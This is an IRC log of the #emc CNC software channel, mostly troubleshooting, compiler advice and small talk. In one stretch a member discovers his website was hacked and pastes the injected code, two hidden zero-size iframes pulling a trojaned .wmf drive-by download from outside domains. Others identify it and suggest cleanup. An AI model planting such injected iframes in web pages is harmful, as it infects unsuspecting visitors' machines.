#emc | Logs for 2006-01-20

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[01:34:31] <Jymmm> howdy ladies!
[01:41:41] <fenn> havent seen vw in a while
[01:41:55] <fenn> er, kzan
[02:05:00] <Jymmm> ?
[02:05:27] <Jymmm> Now, why can't I shoot someone again?
[02:06:11] <Jymmm> Some dumbass walks over from next door complex and takes a piss in the carport.
[02:06:29] <Jymmm> I like the Texas thing, you CAN shoot someone.
[02:06:58] <Jymmm> you can even chase them down in the streets and shoot em
[02:22:49] <fenn> you cant shoot them in the back though
[02:31:38] <CIA-14> 03jmkasunich * 10emc2/ (7 files in 6 dirs): Cleaned up some licenseing issues
[03:37:39] <cncuser> hi folks :)
[03:37:47] <cncuser> whats the time in the us ? :)
[03:38:15] <cncuser> well
[03:38:58] <cncuser> spent the last days discussing some major problems with puppy linux
[03:40:16] <cncuser> have to setup a gnudevel environment that works first before i can continue with the howto.
[03:40:55] <cncuser> http://www.murga.org/%7Epuppy/viewtopic.php?p=33877#33877
[03:41:15] <cncuser> sorry
[03:48:07] <cncuser> idlers
[03:48:16] <cncuser> more frightening then joggers
[03:48:25] <cncuser> *brrrr*
[03:57:33] <cncuser> anyhow
[03:57:44] <cncuser> any progres in getting the whole emc sources ?
[04:01:15] <cncuser> hmm, its 5:00 in the morning down here, good night folks
[05:12:48] <jepler> darn, I missed cncuser
[07:21:34] <CIA-14> 03petev * 10emc2/configs/motenc/README: -Added some info on multiple card support.
[12:28:36] <cradek_> cradek_ is now known as cradek
[12:52:08] <jepler> <[email protected]>: host mail.sourceforge.net[66.35.250.206] said: 550 Unrouteable address (in reply to RCPT TO command)
[12:52:39] <jepler> is there a problem on my end, or on sourceforge's end? I just got this bounce from a message I tried to send.
[14:22:29] <alex_joni> hello all
[14:23:00] <skunkworks> wow - I was just going to say that this place is dead - Hello
[14:23:10] <alex_joni> yeah, I sensed that..
[14:29:46] <skunkworks> survived vacation?
[14:37:56] <alex_joni> kinda... but I already forgot about that :D
[14:49:03] <skunkworks> ;)
[15:22:37] <jepler> btw my earlier problem with the emc-users list was that I used the wrong address
[15:23:35] <alex_joni> oh
[15:24:18] <alex_joni> and on ourproject, the GPG was the problem I think
[15:25:19] <jepler> I don't think so; I sent several messages unsigned, and as far as I know none of them ever appeared. This is the message-id of one of the unsigned ones: <[email protected]>
[15:26:26] <jepler> oh, I take it back, some of the messages do appear in the archives now.
[15:27:04] <jepler> and yeah, it seems to be exactly the ones I didn't sign with GPG
[15:27:38] <jepler> It's 2006 for crying out loud. e-mail software still doesn't know how to handle mime e-mail?
[15:28:00] <cradek> an attachment!! maybe it's a virus!!
[15:28:33] <cradek> fwiw, I quit signing my messages because it caused so many problems for people with shitty software
[15:28:39] <jepler> I'm kinda getting to that point
[15:29:09] <jepler> axis 1.1.1 and 1.2a1 released. http://axis.unpy.net/01137765365
[15:30:32] <alex_joni> yay
[15:30:42] <alex_joni> hi chris
[15:30:59] <cradek> hello
[15:31:41] <alex_joni> jepler: the german snapshot seems to be missing from http://axis.unpy.net/translations
[15:32:30] <jepler> alex_joni: isn't it the first one?
[15:32:36] <skunkworks> shows up here
[15:32:43] <jepler> "German translation contributed by Alex Joni and Florian Hahn", link to http://axis.unpy.net/files/translations/axis-de.png
[15:33:24] <alex_joni> not showing up in Opera
[15:33:28] <alex_joni> the other 3 are OK
[15:34:11] <jepler> weird. can you put a screenshot online?
[15:34:16] <alex_joni> sure
[15:35:02] <jepler> <p><span class="album"><!-- axis-de.png--><a href="http://axis.unpy.net/files/translations/axis-de.png"><span class=albumouter style=width:306px id=x0><div class=albumimage style="width:306px;margin-left:0px;"><a href="http://axis.unpy.net/files/translations/axis-de.png"><img src="http://axis.unpy.net/files/translations/axis-de-small.png" width=300 height=215></a><div><div style=float:right><a href="http://axis.unpy.net/files/translations/axis-de
[15:35:09] <jepler> <!-- axis-ro.png--><a href="http://axis.unpy.net/files/translations/axis-ro.png"><span class=albumouter style=width:306px id=x1><div class=albumimage style="width:306px;margin-left:0px;"><a href="http://axis.unpy.net/files/translations/axis-ro.png"><img src="http://axis.unpy.net/files/translations/axis-ro-small.png" width=300 height=241></a><div><div style=float:right><a href="http://axis.unpy.net/files/translations/axis-ro.png"><img class=zoom s
[15:35:19] <alex_joni> yeah, seen the source already
[15:35:23] <jepler> the html looks the same for both
[15:35:38] <jepler> whether it's proper HTML, I dunno
[15:37:31] <jepler> a validator finds tons of problems with my web page, of course
[15:37:52] <alex_joni> :P
[16:00:17] <jepler> alex_joni: can you tell me if that page is better in opera now?
[16:00:44] <alex_joni> yup, fixed now
[16:00:47] <jepler> yay
[16:00:47] <alex_joni> thanks
[16:00:54] <jepler> thanks for letting me know there was a problem.
[16:02:18] <jepler> be back in a few
[16:02:46] <alex_joni> ok.. I'll soon be gone too
[16:59:51] <les_w> I have to write a little code to caculate composite beam eigenfrequencies
[17:00:05] <les_w> a little too complicated for a spreadsheet
[17:00:09] <SWPadnos> e ^ (pi * i)
[17:00:23] <les_w> haha
[17:00:31] <SWPadnos> oops - that's -1
[17:00:46] <les_w> I have a linux box in the office
[17:00:47] <SWPadnos> e ^ (jwz)
[17:01:02] <SWPadnos> need C code?
[17:01:14] <les_w> could someone tell me how to compile a short c program?
[17:01:19] <cradek> gcc program.c
[17:01:33] <les_w> oh...gosh that's hard
[17:01:35] <SWPadnos> even better - gcc -lm program.c -o program
[17:01:37] <cradek> yeah very
[17:01:48] <cradek> oh right, you might need -lm to include the math library
[17:01:51] <SWPadnos> "-lm" means "link the math libraries"
[17:02:09] <SWPadnos> -o program means "name the resulting program "program" instead of "a.out"
[17:02:19] <les_w> ah ok
[17:02:38] <cradek> or: make program
[17:02:48] <les_w> so the executable will be in the same directory as the source?
[17:02:49] <SWPadnos> will that work with no makefile?
[17:02:52] <SWPadnos> yes
[17:02:53] <cradek> les_w: yes
[17:02:54] <cradek> SWPadnos: yes
[17:02:58] <SWPadnos> oh - cool
[17:03:02] <SWPadnos> default rules and all
[17:03:03] <cradek> SWPadnos: implicit make rule
[17:03:05] <les_w> ok
[17:03:28] <SWPadnos> will it pick up the math library requirement?
[17:03:39] <cradek> um, nope
[17:03:55] <les_w> thanks....I'll start typing some semicolons here
[17:03:57] <SWPadnos> ok. but it will create "program" as output, rether than a.out?
[17:04:02] <cradek> SWPadnos: yes
[17:04:05] <SWPadnos> cool
[17:04:17] <SWPadnos> I really need to learn to use the gnu toolchain better :)
[17:05:41] <cradek> and I should learn C++
[17:05:54] <SWPadnos> details, details
[17:05:56] <cradek> but there are so many better languages
[17:06:06] <SWPadnos> I wish I could find my copy of Stroustrup's book
[17:06:24] <SWPadnos> good c++ is surprisingly good
[17:06:34] <cradek> did you put it in the back of your car for traction?
[17:06:42] <SWPadnos> I don't think so
[17:06:46] <SWPadnos> lemme check ;)
[17:07:34] <SWPadnos> cradek, do you work for yourself?
[17:07:47] <cradek> sometimes, but in addition to my day job
[17:07:51] <SWPadnos> ah
[17:08:08] <SWPadnos> what's your specialty?
[17:08:34] <cradek> at work I manage a network full of programmers on unix
[17:08:52] <cradek> at home, I do computers, machining, and various other things
[17:09:57] <SWPadnos> ok. I may need to hire out the design of a user interface, and AXIS is good, so I figured you and jepler would be good candidates
[17:10:18] <cradek> I appreciate the compliment
[17:10:25] <SWPadnos> programming of a UI, actually, probably not the design
[17:10:27] <SWPadnos> sure
[17:10:56] <cradek> jepler's the UI expert but the basic design of AXIS was my idea.
[17:10:57] <SWPadnos> plus you both seem to know how to use the available tools really well ;)
[17:11:09] <SWPadnos> (and what tools are available)
[17:11:28] <cradek> we both work together and we're definitely the "experts" here wrt the gnu toolchain etc
[17:11:38] <SWPadnos> heh - I hope so
[17:12:20] <SWPadnos> I have the O'Reilley book "Managing Projects with GNU Make", but it hasn't helped yet
[17:12:26] <SWPadnos> (it might if I read it)
[17:12:37] <cradek> haha
[17:12:56] <cradek> instead of that, read recursive-make-considered-harmful
[17:12:57] <SWPadnos> I look through the kernel code and find much amazing hackery
[17:13:00] <SWPadnos> heh
[17:13:04] <cradek> seriously
[17:13:28] <SWPadnos> this one? http://www.pcug.org.au/~millerp/rmch/recu-make-cons-harm.html
[17:13:29] <cradek> it tells you how to write a proper build environment for a large project
[17:13:32] <cradek> yeah
[17:13:44] <SWPadnos> ok - I'll read that through my second cup of coffee
[17:14:02] <cradek> for the exact syntax of the make rules you'll end up writing, just flip through the make info pages
[17:14:54] <SWPadnos> sure - I have enough knowledge to be able to read a makefile (or at least most of one), but not enough to a complex one, and especially not enough to debug one
[17:15:04] <SWPadnos> to make a complex one
[17:15:20] <cradek> yeah, then start with that paper
[17:15:27] <cradek> there's LOTS of bad advice out there; beware
[17:15:34] <SWPadnos> starting. at least it's only 14 pages
[17:15:50] <SWPadnos> I just look at the kernel for all the good advice I need ;)
[17:15:53] <cradek> eek
[17:16:31] <cradek> maybe that paper rings truest if you already know how crappily a build system works when it's wrong
[17:17:01] <SWPadnos> it may be
[17:23:26] <les_w> I really need a new compiler for the doz box so customers can use programs I write
[17:23:41] <SWPadnos> download the free Borland C++ compiler
[17:23:43] <cradek> les_w: you can use gnu tools to compile for windows
[17:23:52] <SWPadnos> or GNU
[17:23:58] <cradek> les_w: in fact you can create the program on your linux machine and send it to them already compiled
[17:24:09] <les_w> that would be good
[17:24:10] <SWPadnos> but you need DJGPP for true windows binaries, right?
[17:24:22] <cradek> no, you don't need windows at all
[17:24:32] <SWPadnos> (ie, not binaries that run in cygwin)
[17:24:48] <cradek> nope
[17:24:57] <SWPadnos> ok - so djgpp is only for the host being Windows
[17:25:07] <SWPadnos> but gcc has a windows target
[17:25:21] <cradek> % /usr/local/cross-mingw/bin/i386-mingw32msvc-gcc f.c
[17:25:21] <cradek> % ls -l a.exe
[17:25:21] <cradek> -rwxrwx--- 1 cradek develop 237348 Jan 20 11:25 a.exe
[17:25:21] <cradek> % file a.exe
[17:25:21] <cradek> a.exe: MS Windows PE Intel 80386 console executable not relocatable
[17:25:29] <les_w> I just don't really want to go the visual basic route....I have finally just about erased basic from my memory
[17:25:51] <SWPadnos> ah right - mingw
[17:25:52] <les_w> have not written a line of basic in 15 years
[17:26:05] <SWPadnos> please - don't start again now
[17:26:16] <les_w> heh
[17:26:17] <cradek> it'll hurt if you're used to C
[17:26:29] <SWPadnos> VB hurts anyway
[17:26:32] <les_w> yeah
[17:49:36] <les_w> last big program I wrote in basic pds was the manufacturing system for the mirror heaters.
[17:49:52] <les_w> the whole line is a big servo loop
[17:50:39] <les_w> I forgot how many lines....source printout is about half an inch thick
[17:51:21] <les_w> after that I started with c.
[17:59:06] <bill-xm> does anyone here use Varicad?
[18:14:45] <TorbaX> hi all
[18:15:38] <TorbaX> I've tested axis with my cnc,emc2 and a example included it.
[18:15:50] <TorbaX> it works.
[18:16:33] <TorbaX> but I see an error posiiton with example 3D-chips.ngc
[18:18:06] <TorbaX> the error appears when I load 3D_Chips.ngc and I run the gcode....
[18:19:22] <TorbaX> at first execution of the works(a penguin....) the drill stopped when it finished the work,
[18:20:40] <TorbaX> but if I click the run button the position to start the work(for Z axis ) is bad.
[18:21:52] <TorbaX> and manually I did to place the quote Z of drill to set correct position of Z axis.
[18:22:50] <TorbaX> Is this an error on that example?
[18:29:19] <TorbaX> TorbaX is now known as Torbax_calcetto
[18:31:56] <alex_joni> Torbax_calcetto: it seems to me you're loosing steps
[18:32:09] <Torbax_calcetto> mmm
[18:32:15] <Torbax_calcetto> it's strange
[18:32:51] <Torbax_calcetto> the penguin is ok
[18:35:55] <Torbax_calcetto> when 3dchips finished, the graph of drill position is correct but immediately I'll click run buttonthe X and Y position are perfect
[18:36:14] <Torbax_calcetto> drill and graph are perfect
[18:36:31] <Torbax_calcetto> but the z axis are wrong position
[18:36:50] <Torbax_calcetto> it is too low
[18:37:12] <alex_joni> hm.. maybe it's using an axis offset
[18:37:17] <alex_joni> not sure, I thought it doesnt
[18:38:39] <Torbax_calcetto> it seems to be the Z quote blocked to the end quote of the gcode completed
[18:39:18] <skunkworks> you should see the clocks he builds. Pretty cool ideas
[18:39:34] <alex_joni> skunkworks: cradek?
[18:39:59] <skunkworks> crap - sorry - I was reading in the middle somewhere - thought I was at the end.
[18:40:08] <alex_joni> :P
[18:40:52] <Torbax_calcetto> alex_joni: during the work at various speeds the steppers didn't leave steps
[18:42:28] <alex_joni> Torbax_calcetto: dunno what's wrong then ..
[18:43:35] <Torbax_calcetto> ::-|
[18:45:59] <Torbax_calcetto> the problem appears when I ran 2nd work to do but I didn't reload the file!!!
[18:45:59] <skunkworks> have you used g92 while playing around?
[18:49:24] <alex_joni> or did you click on the axis to set offset? (in tkemc that works9
[18:49:30] <alex_joni> not sure about axis
[18:51:02] <Torbax_calcetto> mmm
[18:52:19] <Torbax_calcetto> sorry but i see a G21 code into your 3d_Chipset... but G21 is a particular command to set inch if i understand it
[18:52:37] <Torbax_calcetto> is it correct?
[18:52:50] <Torbax_calcetto> I use a millimeters unit
[18:53:08] <alex_joni> G21 is mm
[18:53:17] <alex_joni> G20 is inch
[18:53:33] <Torbax_calcetto> ah ok
[19:02:55] <jepler> Torbax_calcetto: I'm running 3D_Chips.ngc in emc1+axis now to see if I get the problem you describe.
[19:04:14] <jepler> Torbax_calcetto: but it will take awhile
[19:06:18] <cradek> I think I don't understand the problem description
[19:06:47] <Torbax_calcetto> alex_joni: yes it take a while.........
[19:07:20] <jepler> cradek: I'm not sure I understand either
[19:07:39] <Torbax_calcetto> I reload the file and I ran it.....my cnc is very slow at the moment
[19:09:01] <Torbax_calcetto> the graph simulation seems to be correct but the real cnc work (eucaliptus wood) has an error.....
[19:09:03] <Torbax_calcetto> :)
[19:09:05] <jepler> Torbax_calcetto: Is the problem with the display onscreen, or a problem with where the machine actually moves?
[19:09:25] <alex_joni> jepler, cradek: same here, but I think he means the machine is in another place (different than what he expects)
[19:09:42] <cradek> the machine or the tool cone or both?
[19:09:52] <Torbax_calcetto> alex_joni: yes exactly
[19:09:58] <alex_joni> I suspect machine,
[19:10:14] <Torbax_calcetto> jepler: axis shows exact calculus
[19:10:16] <alex_joni> actually if I get it right, the position on the screen doesn't match the actual machine position
[19:10:38] <cradek> I see
[19:10:49] <alex_joni> and position on the screen is what should be, and machine's Z is at the wrong location
[19:10:57] <cradek> which emc?
[19:11:00] <alex_joni> somewhere below the right position
[19:11:02] <alex_joni> emc2
[19:11:05] <Torbax_calcetto> cradek: emc2 + axis
[19:11:27] <jepler> OK, then the test I am doing (axis + emc1 simulator) won't show anything.
[19:22:24] <fenn> Torbax_calcetto: what does the error in the actual piece look like?
[19:26:11] <alex_joni> I installed a debian server today.. took me about 20 minutes
[19:26:19] <alex_joni> went very smooth
[19:32:02] <Torbax_calcetto> I make dinner now
[19:32:16] <alex_joni> you send us some too
[19:32:17] <alex_joni> :P
[19:32:27] <Torbax_calcetto> see you later .....:P
[19:32:32] <alex_joni> ciao
[19:52:37] <les_w> hmm my website seems to try to download files when it's accessed
[19:52:51] <les_w> some funny lines in the html
[19:53:09] <les_w> i didn't put there
[19:53:20] <les_w> ever heard of such a thing?
[19:54:09] <alex_joni> what did you code the html in?
[19:54:18] <les_w> sitespinner
[19:54:25] <alex_joni> never heard..
[19:54:35] <alex_joni> maybe it's putting stuff in behind your back :P
[19:54:41] <alex_joni> use vi for proper html
[19:54:48] <les_w> just a popular web authoring tool
[19:55:24] <les_w> my site seems down now...but there were a couple lines at the end of my index code refering to other urls
[19:55:30] <les_w> hijacked!
[19:56:07] <alex_joni_> Hi Jack
[19:56:15] <les_w> heh
[19:57:29] <les_w> I may need to reboot here
[19:57:54] <les_w> can't get any web pages
[19:58:09] <les_w> funny irc works
[19:59:40] <SWPadnos> does nslookup work?
[20:00:25] <les_w> not familiar with that
[20:00:53] <SWPadnos> nslookup www.matrox.com
[20:01:02] <les_w> there are lines at the bottom of my code on the web host redirecting to http://damage.something.com
[20:01:06] <SWPadnos> see if it can find the name in dns
[20:01:25] <SWPadnos> that may be a hack or something
[20:01:44] <les_w> sure looks like it
[20:01:48] <SWPadnos> like - the website got 0wn3d
[20:03:33] <les_w> heres the line:
[20:03:45] <les_w> printf("Enter piezo modulus of elasticity\n");
[20:03:45] <les_w> scanf("%f",&epiezo);
[20:03:52] <les_w> oops haha
[20:04:05] <SWPadnos> I don't think that's it ;)
[20:04:18] <les_w> <iframe src="http://damage.name/stats/" width="0" height="0"></iframe><iframe src="http://nucleus.name/os/" width="0" height="0"></iframe></body>
[20:04:19] <les_w> </html>
[20:04:52] <SWPadnos> and that happens for every site you try?
[20:05:07] <alex_joni_> that's a virus
[20:05:10] <les_w> no just my site
[20:05:15] <alex_joni_> don't try visiting any of the links
[20:05:17] <SWPadnos> lmwatts.com
[20:05:19] <SWPadnos> ?
[20:05:21] <les_w> and it is not on my mirror here
[20:05:21] <alex_joni_> I mean for windows people..
[20:05:54] <alex_joni> seriously DON'T
[20:06:06] <les_w> how the heck can someone get in to my directory on the host
[20:06:13] <les_w> well, a hack
[20:06:15] <alex_joni_> what kind of OS?
[20:06:34] <les_w> ok I'll get on ftp and fix it...and also report it
[20:06:46] <alex_joni_> change the passwd if you can
[20:06:57] <les_w> i'm doz...the host is linux or unix
[20:07:29] <les_w> sure looks like a virus huh
[20:07:39] <SWPadnos> yep - looks that way
[20:07:41] <Jymmm> Mmmmmmmmmmmm virus!
[20:07:43] <alex_joni_> the links definately are
[20:07:50] <les_w> dammit
[20:07:55] <Jymmm> what are we talking about?
[20:07:56] <alex_joni_> probably everyone visiting your site will get it
[20:08:11] <les_w> doz stops the transfer
[20:08:16] <les_w> xp does at least
[20:08:32] <les_w> "unrequested file download"
[20:08:47] <alex_joni_> on Opera it got through, but NAV caught it
[20:08:58] <les_w> jymm my html on my webhost has be modified
[20:09:16] <les_w> been
[20:10:00] <Jymmm> wattsfurniture?
[20:10:06] <les_w> yeah
[20:10:24] <les_w> there are two lines of code added
[20:10:41] <les_w> scroll up a couple pages here to see the lines
[20:11:12] <jepler> do you pay someone to run your web server? Time to call them up and chew them out.
[20:11:25] <les_w> yes
[20:11:36] <les_w> it's ipowerweb...one of the biggest
[20:12:23] <les_w> either inside hack or someone got my ftp password
[20:13:26] <Jymmm> checked the logs already?
[20:13:56] <les_w> no, but I sure will
[20:14:48] <les_w> well, gotta reboot. thanks for the help
[20:17:30] <cradek> I don't see anything funny on that page
[20:17:42] <alex_joni_> check the source
[20:17:54] <alex_joni_> for a .wmf
[20:18:19] <cradek> no wmf or iframe
[20:18:31] <jepler> the two pages both contained some javascript that actually writes the page contents
[20:18:37] <alex_joni_> on wattsfurniture?
[20:19:00] <jepler> the damage. name and nucleus. name pages
[20:19:04] <jepler> that les pasted
[20:19:18] <cradek> maybe I'm getting redirected somewhere
[20:19:23] <cradek> this doesn't look like anything of les's
[20:20:01] <alex_joni_> http://www.lmwatts.com/
[20:20:07] <alex_joni_> that's les's site
[20:20:16] <alex_joni_> and it has some weird iframes at the bottom
[20:20:24] <alex_joni_> which load the content from other servers
[20:20:37] <alex_joni_> which start an automatic download on doze
[20:20:47] <alex_joni_> of some .wmf file, which has a trojan inside
[20:20:50] <Jymmm> CVE-2005-4560 virus
[20:20:57] <cradek> ah
[20:21:10] <Jymmm> still checking
[20:21:22] <jepler> both the linked domains say they are registered to
[20:21:22] <jepler> Registrant Organization: Morte alla Francia, Italia anela
[20:21:22] <jepler> Registrant Name: Tony Martino
[20:21:34] <jepler> but I suppose they may have been hacked too
[20:21:46] <alex_joni_> Morte alla Francia = death to the french
[20:21:54] <alex_joni_> so I doubt they are hacked
[20:22:12] <jepler> that's funny, I didn't realize les was french
[20:22:20] <alex_joni_> neither did I
[20:22:44] <Jymmm> This is the virus --> http://nvd.nist.gov/nvd.cfm?cvename=CVE-2005-4560
[20:22:45] <alex_joni_> but my italian might be poor.. so don't bet anything on my translation ;)
[20:29:51] <LawrenceG> * LawrenceG ... oops wrong button
[20:30:25] <alex_joni_> don't you dare reboot the universe again, without a couple of 'sync's before
[20:30:56] <LawrenceG> yea... a virus scan of the universe is slow at the best of times
[20:31:11] <alex_joni_> and the partition scan at boot time..
[20:32:11] <LawrenceG> I did a wget in the 2 virus links of les's.... interesting little chunks of java to hide their intent
[20:32:50] <LawrenceG> not good to find on ones web site.... :{
[20:34:49] <Jymmm> oh java? I have that disabled.
[20:36:15] <alex_joni> java or javascript?
[20:36:42] <LawrenceG> not sure will get it again... just a one liner
[20:37:01] <Jymmm> if one liner, that's js
[20:37:29] <alex_joni_> yup
[20:37:40] <LawrenceG> logger_aj: bookmark
[20:37:40] <LawrenceG> See http://solaris.cs.utt.ro/irc/irc.freenode.net:6667/emc/2006-01-20#T20-37-40
[20:39:07] <Jymmm> Les still hasn't removed that iframe yet.
[20:48:24] <les_w> back
[20:48:36] <Jymmm> Les still hasn't removed that iframe yet.
[20:48:51] <les_w> well, refreshed the directory with ftp
[20:49:03] <les_w> it should be gone
[20:49:06] <Jymmm> what about the anachie image?
[20:49:07] <les_w> checking
[20:49:21] <Jymmm> THis http://www.lmwatts.com/image/obj6geo7pg1p4.gif
[20:49:37] <Jymmm> that's a tracking gif... to know where it came from
[20:49:48] <les_w> no that stays. I just have a little problem with authority.
[20:49:53] <Jymmm> thats what it looks like to me
[20:50:17] <Jymmm> oh, ok... the stange filename triggered it for me
[20:50:51] <les_w> but the virus iframe is cleaned
[20:50:59] <Jymmm> password changed?
[20:51:28] <les_w> I got on ipowerweb livechat and bitched to the indian guy...but he could hardly understand it
[20:51:41] <Jymmm> *sigh*
[20:51:47] <les_w> no now I have to change all passwords
[20:51:47] <Jymmm> did you look at the logfiles?
[20:51:51] <les_w> dammit
[20:52:18] <les_w> no have not looked at the logs yet...but the file was modified 17 jan
[20:52:56] <les_w> gonna look now
[20:53:07] <Jymmm> might have also left a backdoor for themselves
[20:54:09] <les_w> yeah
[20:54:54] <les_w> hmm let's see...new password...hmmm
[20:55:07] <les_w> I can never remember the damn things
[20:55:45] <les_w> the current one is hard...no way it could have been guessed
[20:56:21] <Jymmm> do you sue ftp or sftp?
[20:56:43] <les_w> just ftp...cuteftp to be exact
[20:57:50] <Jymmm> might consider usign sftp if your host allows it
[20:58:33] <Jymmm> if not , let me know.
[21:01:59] <CIA-14> 03cradek * 10emc2/src/hal/drivers/hal_ppmc.c: fix building on gcc-3.4
[21:02:08] <cradek> can someone else test that?
[21:06:13] <les_w> you know I get spam, but my cat's email address does not!
[21:06:39] <alex_joni_> she doesn't need a 3" enlargement
[21:06:43] <alex_joni_> LOL
[21:06:48] <Jymmm> Does Conga have an email address too?
[21:06:49] <les_w> the chicken does not have email.
[21:06:56] <les_w> I can fix that...
[21:07:23] <les_w> [email protected]
[21:07:33] <les_w> he'll get spam now!
[21:07:42] <les_w> haha
[21:08:13] <alex_joni_> http://flickr.com/photos/92579619@N00/86410009/in/pool-tuawrigs/
[21:08:18] <alex_joni_> here's a nice setup
[21:08:34] <Jymmm> les_w do you have a common header/footer file by chance?
[21:09:01] <les_w> cat porn, african cats offering to send him millions, cat rolex, etc
[21:09:13] <alex_joni_> million mouses :D
[21:09:14] <les_w> No don't have common header/fotter
[21:09:16] <les_w> why?
[21:10:44] <les_w> wow what a computer room alex
[21:11:04] <alex_joni_> yup..
[21:11:28] <Jymmm> les_w: Working on a lil something to help prevent that from happening again.
[21:11:40] <les_w> oh yeah? cool
[21:12:41] <Jymmm> les_w : Add this snippet of code to the HEAD section of each page:
[21:12:44] <Jymmm> <script type="text/javascript">
[21:12:45] <Jymmm> if (top.location != self.location)
[21:12:45] <Jymmm> top.location = self.location;
[21:12:45] <Jymmm> </script>
[21:13:06] <Jymmm> it "should" work with frames and iframes as well.
[21:13:17] <Jymmm> untested on the iframes part.
[21:14:28] <Jymmm> A good place for it would be between the last META tag and before the STYLE tag.
[21:14:55] <les_w> hmm now what does that do
[21:15:01] <alex_joni_> Jymmm: I think that's supposed to work in frames.. but not for iframes
[21:15:10] <alex_joni_> you should have the code inside the iframe to work..
[21:15:17] <Jymmm> If the page ever gets 'framed', it'll break out of the frame.
[21:16:25] <Jymmm> alex_joni asking someone now...
[21:17:31] <les_w> the virus thing was the only iframe
[21:18:03] <Jymmm> les_w: Preemtive Strike
[21:18:49] <les_w> I see
[21:19:14] <les_w> I had better paste that somewhere
[21:22:06] <les_w> hmm got 87,000 hits last year.
[21:22:17] <alex_joni_> hits or visitors?
[21:22:22] <les_w> hits
[21:22:30] <les_w> 6000 unique visitors
[21:22:38] <les_w> mostly reading the cnc stuff
[21:23:46] <alex_joni_> les_w: that's ok, but it can be a lot better
[21:23:53] <alex_joni_> given proper SEO & design
[21:25:33] <les_w> well good thing I am not trying to sell much on there
[21:25:47] <alex_joni_> heh.. but you could :)
[21:25:53] <les_w> since I got so busy with these inventions
[21:26:10] <les_w> basically turned off the routed sign business
[21:26:24] <alex_joni_> too bad ;)
[21:26:30] <les_w> I do a few if they are big
[21:29:28] <les_w> hmm don't see anything in the logs about the hack
[21:30:36] <jepler> I only have a few months' history, but for november/december/january the axis website got 1700 unique visitors, 3300 visits, 24000 hits per month
[21:30:40] <jepler> not sure about total unique visitors over the 3 months
[21:30:53] <les_w> bandwidth nose dived after the hack though.
[21:31:02] <les_w> wow not bad jeff
[21:31:11] <jepler> I'm astounded at how many people visit, really
[21:31:12] <les_w> hope not too many bots...
[21:31:19] <les_w> but bots can be good.
[21:31:48] <jepler> googlebot is the #3 user agent, but that's only 2% of hits
[21:32:09] <les_w> 1checking for me...
[21:33:02] <les_w> one percent of hits for me
[21:33:35] <les_w> 11 other bots
[21:34:57] <les_w> you know I had better check my uncle's site...same host. I did the site for him.
[21:36:29] <les_w> his is clean.
[21:37:18] <Jymmm> les_w if you need a good host, let me know.
[21:37:33] <Jymmm> they even speak english too!
[21:38:08] <les_w> well, ipowerweb has been good...i just got my password hacked I guess
[21:40:09] <alex_joni> night all
[21:41:27] <les_w> hi servant
[21:52:52] <Torbax_calcetto> Torbax_calcetto is now known as TorbaX
[21:53:10] <servant74> hi ... just hangin out ... waiting for quitin time
[21:53:24] <les_w> heh
[21:53:51] <les_w> well I own my business...and I herebye declare it quiting time.
[21:53:54] <fenn> good thing BDI comes with an irc client.. maybe it should have some games too eh?
[21:53:58] <les_w> let the weekend begin.
[21:54:13] <servant74> someone using emc in the Nashville area?
[21:54:26] <fenn> Nashville IN :)
[21:54:30] <servant74> TN
[21:54:35] <les_w> I'm in north georgia...not so close
[21:55:06] <les_w> check the flikr map
[21:55:15] <les_w> anyone know the url?
[21:55:18] <fenn> frappr
[21:55:18] <les_w> I forgot
[21:55:23] <fenn> ttp://www.frappr.com/emctheenhancedmachinecontroller
[21:55:24] <les_w> oh
[21:55:28] <servant74> i'm a newbie ... doing a home type cnc rig, just to learn. ... I did, I am on the flikr .. in ashland city tn
[21:55:35] <les_w> ty...check that servant
[21:56:15] <les_w> oh ok servant. I am a commercial operator.
[21:57:04] <servant74> actually i'm not there ... figured I don't have it going yet but want to ... planning on doing the BDI
[21:57:23] <servant74> glad to see it is being put to proper $$$making use :)
[21:58:05] <les_w> most emcers are hobbyists...but I have made a good bit of money from my emc based router.
[21:59:07] <fenn> emc makes me negative money
[21:59:17] <les_w> haha
[21:59:27] <fenn> buying electronics and belts and motors
[21:59:45] <jepler> I keep hoping that some idiot with too much money will show up and write me and chris a check for ten million dollars to give them a closed-source version of AXIS
[21:59:53] <servant74> my son has access to cnc mills and a laser rig at college (olin.edu) and uses hi$$ software. ... he is getting pretty good at it. ... makes me jealous (but I don't want to repeat those years)
[21:59:56] <jepler> but each day goes by without that happening
[22:00:02] <les_w> negative money...neat concept
[22:00:03] <fenn> what about that guy in thailand?
[22:00:15] <fenn> chatchai neanudorn
[22:00:15] <servant74> lol jepler!
[22:00:30] <jepler> fenn: well I guess I haven't heard the details of his proposal, but I doubt it's for enough to retire on
[22:00:39] <jepler> s/I guess//
[22:00:41] <les_w> I am being bugged majorly again to market a cnc machine.
[22:00:58] <bill-xm> les, what sort of products do you make on your router?
[22:01:22] <fenn> jepler: i decided to retire after i graduated college.. it's overrated :)
[22:01:30] <les_w> but latest invention kinda is taking off and I am making a ton o money with that...better stick with it.
[22:02:00] <jepler> fenn: nah, it would give me lots of time to work on open source projects
[22:02:05] <les_w> billxm, engineering prototypes and turkey calls
[22:02:16] <les_w> the turkey calls are production
[22:02:16] <bill-xm> turkey calls? like for hunting?
[22:02:25] <les_w> i'll show you
[22:02:27] <bill-xm> cool, congrats.
[22:02:31] <bill-xm> k
[22:03:07] <SWPadnos> jepler, I'd do that, but I'm not stupid, and I don't have too much money, so the check would bounce
[22:03:20] <jepler> SWPadnos: doh
[22:03:24] <SWPadnos> heh
[22:03:29] <jepler> maybe that mumble_rh guy has too much money
[22:03:41] <les_w> http://lmwatts.com/gallery.html
[22:03:44] <servant74> now i'm on frapr
[22:03:50] <les_w> bottom of page bill
[22:03:51] <SWPadnos> yeah - he should send me $3MM for my changes to halcmd ;)
[22:04:03] <SWPadnos> and the timedelay component - that too
[22:04:45] <les_w> well the parts for my invention prototypes are usually chewed out with emc
[22:06:01] <TorbaX> hi
[22:06:27] <bill-xm> cool les, is that lathed first and then milled?
[22:06:31] <jepler> TorbaX: I just saw your machine photo on frappr ..
[22:06:38] <Jacky^> hi
[22:06:44] <les_w> if the latest one works as a prduct, my large corporation client wants me to set up a manufacturing plant
[22:06:45] <TorbaX> hi jepler :)
[22:06:55] <les_w> hi jacky
[22:07:34] <Jacky^> k4ts found the camera to buy
[22:07:42] <Jacky^> Nikon D50
[22:07:44] <les_w> which one?
[22:07:48] <les_w> haha
[22:07:51] <les_w> oh nice
[22:07:55] <les_w> expensive
[22:07:59] <TorbaX> jepler: I tried to check why Z axis doesnt move correctly
[22:08:04] <Jacky^> E. 700
[22:08:14] <les_w> yikes
